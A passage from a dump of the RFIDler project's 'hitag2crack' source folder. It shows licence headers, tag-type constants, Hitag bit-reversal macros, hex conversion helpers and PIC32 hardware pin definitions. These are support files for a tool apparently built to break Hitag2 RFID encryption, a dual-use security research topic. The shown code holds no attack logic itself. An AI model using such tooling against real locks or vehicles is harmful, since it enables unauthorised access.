3\n#define MOD_MODE_PSK1                   4\n#define MOD_MODE_PSK2                   5\n#define MOD_MODE_PSK3                   6\n\n// TAG types - update TagTypes[] in tags.c if you add to this list\n#define TAG_TYPE_NONE                   0\n#define TAG_TYPE_ASK_RAW                1\n#define TAG_TYPE_FSK1_RAW               2\n#define TAG_TYPE_FSK2_RAW               3\n#define TAG_TYPE_PSK1_RAW               4\n#define TAG_TYPE_PSK2_RAW               5\n#define TAG_TYPE_PSK3_RAW               6\n#define TAG_TYPE_HITAG1                 7\n#define TAG_TYPE_HITAG2                 8\n#define TAG_TYPE_EM4X02                 9\n#define TAG_TYPE_Q5                     10\n#define TAG_TYPE_HID_26                 11\n#define TAG_TYPE_INDALA_64              12\n#define TAG_TYPE_INDALA_224             13\n#define TAG_TYPE_UNIQUE                 14\n#define TAG_TYPE_FDXB                   15\n#define TAG_TYPE_T55X7                  16      // same as Q5 but different timings and no modulation-defeat\n#define TAG_TYPE_AWID_26                17\n#define TAG_TYPE_EM4X05                 18\n#define TAG_TYPE_TAMAGOTCHI             19\n#define TAG_TYPE_HDX                    20      // same underlying data as FDX-B, but different modulation & telegram \n\n// various\n\n#define BINARY                          0\n#define HEX                             1\n\n#define NO_ADDRESS                      -1\n\n#define ACK                             TRUE\n#define NO_ACK                          FALSE\n\n#define BLOCK                           TRUE\n#define NO_BLOCK                        FALSE\n\n#define DATA                            TRUE\n#define NO_DATA                         FALSE\n\n#define DEBUG_PIN_ON                    HIGH\n#define DEBUG_PIN_OFF                   LOW\n\n#define FAST                            FALSE\n#define SLOW                            TRUE\n\n#define NO_TRIGGER                      0\n\n#define LOCK                            TRUE\n#define NO_LOCK                         FALSE\n\n#define NFC_MODE                        TRUE\n#define NO_NFC_MODE                     FALSE\n\n#define ONESHOT_READ                    TRUE\n#define NO_ONESHOT_READ                 FALSE\n\n#define RESET                           TRUE\n#define NO_RESET                        FALSE\n\n#define SHUTDOWN_CLOCK                  TRUE\n#define NO_SHUTDOWN_CLOCK               FALSE\n\n#define SYNC                            TRUE\n#define NO_SYNC                         FALSE\n\n#define VERIFY                          TRUE\n#define NO_VERIFY                       FALSE\n\n#define VOLATILE                        FALSE\n#define NON_VOLATILE                    TRUE\n\n#define NEWLINE                         TRUE\n#define NO_NEWLINE                      FALSE\n\n#define WAIT                            TRUE\n#define NO_WAIT                         FALSE\n\n#define WIPER_HIGH                      0\n#define WIPER_LOW                       1\n\n// conversion for time to ticks\n#define US_TO_TICKS                     1000000L\n#define US_OVER_10_TO_TICKS             10000000L\n#define US_OVER_100_TO_TICKS            100000000L\n// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it\n#define CONVERT_TO_TICKS(x)             ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS))\n#define CONVERT_TICKS_TO_US(x)          (x / (GetSystemClock() / US_TO_TICKS))\n#define TIMER5_PRESCALER                16\n#define MAX_TIMER5_TICKS                (65535 * TIMER5_PRESCALER)\n\n// other conversions\n\n// bits to hex digits\n#define HEXDIGITS(x)                    (x / 4)\n#define HEXTOBITS(x)                    (x * 4)\n"
  },
  {
    "path": "hitag2crack/crack3/util.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n/*\n * Hitag Crypto support macros\n * These macros reverse the bit order in a byte, or *within* each byte of a\n * 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.)\n */\n#define rev8(X)   ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \\\n                  + (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \\\n                  + (((X) << 5) &64) + (((X) << 7) &128) )\n#define rev16(X)  (rev8 (X) + (rev8 (X >> 8) << 8))\n#define rev32(X)  (rev16(X) + (rev16(X >> 16) << 16))\n#define rev64(X)  (rev32(X) + (rev32(X >> 32) << 32))\n\n\nunsigned long hexreversetoulong(BYTE *hex);\nunsigned long long hexreversetoulonglong(BYTE *hex);\n\n"
  },
  {
    "path": "hitag2crack/crack3/utilpart.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#include <string.h>\n#include <stdio.h>\n#include \"HardwareProfile.h\"\n#include \"util.h\"\n#include \"rfidler.h\"\n//#include \"comms.h\"\n\n// rtc\nrtccTime\tRTC_time;\t\t\t// time structure\nrtccDate\tRTC_date;\t\t\t// date structure\n\n// convert byte-reversed 8 digit hex to unsigned long\nunsigned long hexreversetoulong(BYTE *hex)\n{\n    unsigned long ret= 0L;\n    unsigned int x;\n    BYTE i;\n\n    if(strlen(hex) != 8)\n        return 0L;\n\n    for(i= 0 ; i < 4 ; ++i)\n    {\n        if(sscanf(hex, \"%2X\", &x) != 1)\n                return 0L;\n        ret += ((unsigned long) x) << i * 8;\n        hex += 2;\n    }\n    return ret;\n}\n\n// convert byte-reversed 12 digit hex to unsigned long\nunsigned long long hexreversetoulonglong(BYTE *hex)\n{\n    unsigned long long ret= 0LL;\n    BYTE tmp[9];\n    \n    // this may seem an odd way to do it, but weird compiler issues were \n    // breaking direct conversion!\n    \n    tmp[8]= '\\0';\n    memset(tmp + 4, '0', 4);\n    memcpy(tmp, hex + 8, 4);\n    ret= hexreversetoulong(tmp);\n    ret <<= 32;\n    memcpy(tmp, hex, 8);\n    ret += hexreversetoulong(tmp);\n    return ret;\n}\n\n\n"
  },
  {
    "path": "hitag2crack/crack4/HardwareProfile.h",
    "content": "/***************************************************************************\r\n * A copy of the GNU GPL is appended to this file.                         *\r\n *                                                                         *\r\n * This licence is based on the nmap licence, and we express our gratitude *\r\n * for the work that went into producing it. There is no other connection  *\r\n * between RFIDler and nmap either expressed or implied.                   *\r\n *                                                                         *\r\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\r\n *                                                                         *\r\n *                                                                         *\r\n * All references to RFIDler herein imply all it's derivatives, namely:    *\r\n *                                                                         *\r\n * o RFIDler-LF Standard                                                   *\r\n * o RFIDler-LF Lite                                                       *\r\n * o RFIDler-LF Nekkid                                                     *\r\n *                                                                         *\r\n *                                                                         *\r\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\r\n *                                                                         *\r\n * This program is free software; you may redistribute and/or modify it    *\r\n * under the terms of the GNU General Public License as published by the   *\r\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\r\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\r\n * right to use, modify, and redistribute this software under certain      *\r\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\r\n * software or hardware, we sell alternative licenses                      *\r\n * (contact sales@aperturelabs.com).                                       *\r\n *                                                                         *\r\n * Note that the GPL places important restrictions on \"derivative works\",  *\r\n * yet it does not provide a detailed definition of that term.  To avoid   *\r\n * misunderstandings, we interpret that term as broadly as copyright law   *\r\n * allows.  For example, we consider an application to constitute a        *\r\n * derivative work for the purpose of this license if it does any of the   *\r\n * following with any software or content covered by this license          *\r\n * (\"Covered Software\"):                                                   *\r\n *                                                                         *\r\n * o Integrates source code from Covered Software.                         *\r\n *                                                                         *\r\n * o Is designed specifically to execute Covered Software and parse the    *\r\n * results (as opposed to typical shell or execution-menu apps, which will *\r\n * execute anything you tell them to).                                     *\r\n *                                                                         *\r\n * o Includes Covered Software in a proprietary executable installer.  The *\r\n * installers produced by InstallShield are an example of this.  Including *\r\n * RFIDler with other software in compressed or archival form does not     *\r\n * trigger this provision, provided appropriate open source decompression  *\r\n * or de-archiving software is widely available for no charge.  For the    *\r\n * purposes of this license, an installer is considered to include Covered *\r\n * Software even if it actually retrieves a copy of Covered Software from  *\r\n * another source during runtime (such as by downloading it from the       *\r\n * Internet).                                                              *\r\n *                                                                         *\r\n * o Links (statically or dynamically) to a library which does any of the  *\r\n * above.                                                                  *\r\n *                                                                         *\r\n * o Executes a helper program, module, or script to do any of the above.  *\r\n *                                                                         *\r\n * This list is not exclusive, but is meant to clarify our interpretation  *\r\n * of derived works with some common examples.  Other people may interpret *\r\n * the plain GPL differently, so we consider this a special exception to   *\r\n * the GPL that we apply to Covered Software.  Works which meet any of     *\r\n * these conditions must conform to all of the terms of this license,      *\r\n * particularly including the GPL Section 3 requirements of providing      *\r\n * source code and allowing free redistribution of the work as a whole.    *\r\n *                                                                         *\r\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\r\n * permission to link the code of this program with any version of the     *\r\n * OpenSSL library which is distributed under a license identical to that  *\r\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\r\n * linked combinations including the two.                                  *\r\n *                                                                         *\r\n * Any redistribution of Covered Software, including any derived works,    *\r\n * must obey and carry forward all of the terms of this license, including *\r\n * obeying all GPL rules and restrictions.  For example, source code of    *\r\n * the whole work must be provided and free redistribution must be         *\r\n * allowed.  All GPL references to \"this License\", are to be treated as    *\r\n * including the terms and conditions of this license text as well.        *\r\n *                                                                         *\r\n * Because this license imposes special exceptions to the GPL, Covered     *\r\n * Work may not be combined (even as part of a larger work) with plain GPL *\r\n * software.  The terms, conditions, and exceptions of this license must   *\r\n * be included as well.  This license is incompatible with some other open *\r\n * source licenses as well.  In some cases we can relicense portions of    *\r\n * RFIDler or grant special permissions to use it in other open source     *\r\n * software.  Please contact sales@aperturelabs.com with any such requests.*\r\n * Similarly, we don't incorporate incompatible open source software into  *\r\n * Covered Software without special permission from the copyright holders. *\r\n *                                                                         *\r\n * If you have any questions about the licensing restrictions on using     *\r\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\r\n * offer alternative license to integrate RFIDler into proprietary         *\r\n * applications and appliances.  These contracts have been sold to dozens  *\r\n * of software vendors, and generally include a perpetual license as well  *\r\n * as providing for priority support and updates.  They also fund the      *\r\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\r\n * for further information.                                                *\r\n * If you have received a written license agreement or contract for        *\r\n * Covered Software stating terms other than these, you may choose to use  *\r\n * and redistribute Covered Software under those terms instead of these.   *\r\n *                                                                         *\r\n * Source is provided to this software because we believe users have a     *\r\n * right to know exactly what a program is going to do before they run it. *\r\n * This also allows you to audit the software for security holes (none     *\r\n * have been found so far).                                                *\r\n *                                                                         *\r\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\r\n * and add new features.  You are highly encouraged to send your changes   *\r\n * to the RFIDler mailing list for possible incorporation into the         *\r\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\r\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\r\n * them into the RFIDler source code repository, it is understood (unless  *\r\n * you specify otherwise) that you are offering the RFIDler Project        *\r\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\r\n * modify, and relicense the code.  RFIDler will always be available Open  *\r\n * Source, but this is important because the inability to relicense code   *\r\n * has caused devastating problems for other Free Software projects (such  *\r\n * as KDE and NASM).  We also occasionally relicense the code to third     *\r\n * parties as discussed above. If you wish to specify special license      *\r\n * conditions of your contributions, just say so when you send them.       *\r\n *                                                                         *\r\n * This program is distributed in the hope that it will be useful, but     *\r\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\r\n * license file for more details (it's in a COPYING file included with     *\r\n * RFIDler, and also available from                                        *\r\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\r\n *                                                                         *\r\n ***************************************************************************/\r\n\r\n// Author: Adam Laurie <adam@aperturelabs.com>\r\n\r\n\r\n\r\n#ifndef HARDWARE_PROFILE_UBW32_H\r\n#define HARDWARE_PROFILE_UBW32_H\r\n\r\n//#include \"plib.h\"\r\ntypedef char BOOL;\r\ntypedef char BYTE;\r\ntypedef int rtccTime;\r\ntypedef int rtccDate;\r\n\r\n\r\n#ifndef __PIC32MX__\r\n    #define __PIC32MX__\r\n#endif\r\n  \r\n#define GetSystemClock()            (80000000ul)\r\n#define GetPeripheralClock()        (GetSystemClock()) \r\n#define GetInstructionClock()       (GetSystemClock())\r\n\r\n//#define USE_SELF_POWER_SENSE_IO\r\n#define tris_self_power     TRISAbits.TRISA2    // Input\r\n#define self_power          1\r\n\r\n//#define USE_USB_BUS_SENSE_IO\r\n#define tris_usb_bus_sense  TRISBbits.TRISB5    // Input\r\n#define USB_BUS_SENSE       1\r\n\r\n// LEDs\r\n#define mLED_1              LATEbits.LATE3\r\n\r\n#define mLED_2              LATEbits.LATE2\r\n#define mLED_Comms          mLED_2\r\n\r\n#define mLED_3              LATEbits.LATE1\r\n#define mLED_Clock          mLED_3\r\n\r\n#define mLED_4              LATEbits.LATE0\r\n#define mLED_Emulate        mLED_4\r\n\r\n#define mLED_5              LATGbits.LATG6\r\n#define mLED_Read           mLED_5\r\n\r\n#define mLED_6              LATAbits.LATA15\r\n#define mLED_User           mLED_6\r\n\r\n#define mLED_7              LATDbits.LATD11\r\n#define mLED_Error          mLED_7\r\n\r\n// active low\r\n#define mLED_ON             0\r\n#define mLED_OFF            1\r\n\r\n#define mGetLED_1()         mLED_1\r\n#define mGetLED_USB()       mLED_1\r\n#define mGetLED_2()         mLED_2\r\n#define mGetLED_Comms()     mLED_2\r\n#define mGetLED_3()         mLED_3\r\n#define mGetLED_Clock()     mLED_3\r\n#define mGetLED_4()         mLED_4\r\n#define mGetLED_Emulate()   mLED_4\r\n#define mGetLED_5()         mLED_5\r\n#define mGetLED_Read()      mLED_5\r\n#define mGetLED_6()         mLED_6\r\n#define mGetLED_User()      mLED_6\r\n#define mGetLED_7()         mLED_7\r\n#define mGetLED_Error()     mLED_7\r\n\r\n#define mLED_1_On()         mLED_1 = mLED_ON\r\n#define mLED_USB_On()       mLED_1_On()\r\n#define mLED_2_On()         mLED_2 = mLED_ON\r\n#define mLED_Comms_On()     mLED_2_On()\r\n#define mLED_3_On()         mLED_3 = mLED_ON\r\n#define mLED_Clock_On()     mLED_3_On()\r\n#define mLED_4_On()         mLED_4 = mLED_ON\r\n#define mLED_Emulate_On()   mLED_4_On()\r\n#define mLED_5_On()         mLED_5 = mLED_ON\r\n#define mLED_Read_On()      mLED_5_On()\r\n#define mLED_6_On()         mLED_6 = mLED_ON\r\n#define mLED_User_On()      mLED_6_On()\r\n#define mLED_7_On()         mLED_7 = mLED_ON\r\n#define mLED_Error_On()     mLED_7_On()\r\n\r\n#define mLED_1_Off()        mLED_1 = mLED_OFF\r\n#define mLED_USB_Off()      mLED_1_Off()\r\n#define mLED_2_Off()        mLED_2 = mLED_OFF\r\n#define mLED_Comms_Off()    mLED_2_Off()\r\n#define mLED_3_Off()        mLED_3 = mLED_OFF\r\n#define mLED_Clock_Off()    mLED_3_Off()\r\n#define mLED_4_Off()        mLED_4 = mLED_OFF\r\n#define mLED_Emulate_Off()  mLED_4_Off()\r\n#define mLED_5_Off()        mLED_5 = mLED_OFF\r\n#define mLED_Read_Off()     mLED_5_Off()\r\n#define mLED_6_Off()        mLED_6 = mLED_OFF\r\n#define mLED_User_Off()     mLED_6_Off()\r\n#define mLED_7_Off()        mLED_7 = mLED_OFF\r\n#define mLED_Error_Off()    mLED_7_Off()\r\n\r\n#define mLED_1_Toggle()        mLED_1 = !mLED_1\r\n#define mLED_USB_Toggle()      mLED_1_Toggle()\r\n#define mLED_2_Toggle()        mLED_2 = !mLED_2\r\n#define mLED_Comms_Toggle()    mLED_2_Toggle()\r\n#define mLED_3_Toggle()        mLED_3 = !mLED_3\r\n#define mLED_Clock_Toggle()    mLED_3_Toggle()\r\n#define mLED_4_Toggle()        mLED_4 = !mLED_4\r\n#define mLED_Emulate_Toggle()  mLED_4_Toggle()\r\n#define mLED_5_Toggle()        mLED_5 = !mLED_5\r\n#define mLED_Read_Toggle(   )  mLED_5_Toggle()\r\n#define mLED_6_Toggle()        mLED_6 = !mLED_6\r\n#define mLED_User_Toggle()     mLED_6_Toggle()\r\n#define mLED_7_Toggle()        mLED_7 = !mLED_7\r\n#define mLED_Error_Toggle()    mLED_7_Toggle()\r\n\r\n#define mLED_All_On()       { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On();  mLED_6_On(); mLED_7_On(); }\r\n#define mLED_All_Off()      { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); }\r\n\r\n// usb status lights\r\n#define mLED_Both_Off()         {mLED_USB_Off();mLED_Comms_Off();}\r\n#define mLED_Both_On()          {mLED_USB_On();mLED_Comms_On();}\r\n#define mLED_Only_USB_On()      {mLED_USB_On();mLED_Comms_Off();}\r\n#define mLED_Only_Comms_On()    {mLED_USB_Off();mLED_Comms_On();}\r\n\r\n/** SWITCH *********************************************************/\r\n#define swBootloader        PORTEbits.RE7\r\n#define swUser              PORTEbits.RE6\r\n\r\n/** I/O pin definitions ********************************************/\r\n#define INPUT_PIN                   1\r\n#define OUTPUT_PIN                  0\r\n\r\n#define TRUE                        1\r\n#define FALSE                       0\r\n\r\n#define ENABLE                      1\r\n#define DISABE                      0\r\n\r\n#define EVEN                        0\r\n#define ODD                         1\r\n\r\n#define LOW                         FALSE\r\n#define HIGH                        TRUE\r\n\r\n#define CLOCK_ON                    LOW\r\n#define CLOCK_OFF                   HIGH\r\n\r\n// output coil control - select between reader/emulator circuits\r\n#define COIL_MODE                  LATBbits.LATB4\r\n#define COIL_MODE_READER()         COIL_MODE= LOW\r\n#define COIL_MODE_EMULATOR()       COIL_MODE= HIGH\r\n\r\n// coil for emulation\r\n#define COIL_OUT                   LATGbits.LATG9\r\n#define COIL_OUT_HIGH()            COIL_OUT=HIGH\r\n#define COIL_OUT_LOW()             COIL_OUT=LOW\r\n\r\n// door relay (active low)\r\n#define DOOR_RELAY                  LATAbits.LATA14\r\n#define DOOR_RELAY_OPEN()           DOOR_RELAY= HIGH\r\n#define DOOR_RELAY_CLOSE()          DOOR_RELAY= LOW\r\n\r\n// inductance/capacitance freq\r\n#define IC_FREQUENCY               PORTAbits.RA2\r\n\r\n#define SNIFFER_COIL               PORTDbits.RD12    // external reader clock detect\r\n#define READER_ANALOGUE            PORTBbits.RB11   // reader coil analogue\r\n#define DIV_LOW_ANALOGUE           PORTBbits.RB12   // voltage divider LOW analogue\r\n#define DIV_HIGH_ANALOGUE          PORTBbits.RB13   // voltage divider HIGH analogue\r\n\r\n// clock coil (normally controlled by OC Module, but defined here so we can force it high or low)\r\n#define CLOCK_COIL                 PORTDbits.RD4\r\n#define CLOCK_COIL_MOVED           PORTDbits.RD0 // temporary for greenwire\r\n\r\n// digital output after analogue reader circuit\r\n#define READER_DATA                PORTDbits.RD8\r\n\r\n// trace / debug\r\n#define DEBUG_PIN_1                 LATCbits.LATC1\r\n#define DEBUG_PIN_1_TOGGLE()        DEBUG_PIN_1= !DEBUG_PIN_1\r\n#define DEBUG_PIN_2                 LATCbits.LATC2\r\n#define DEBUG_PIN_2_TOGGLE()        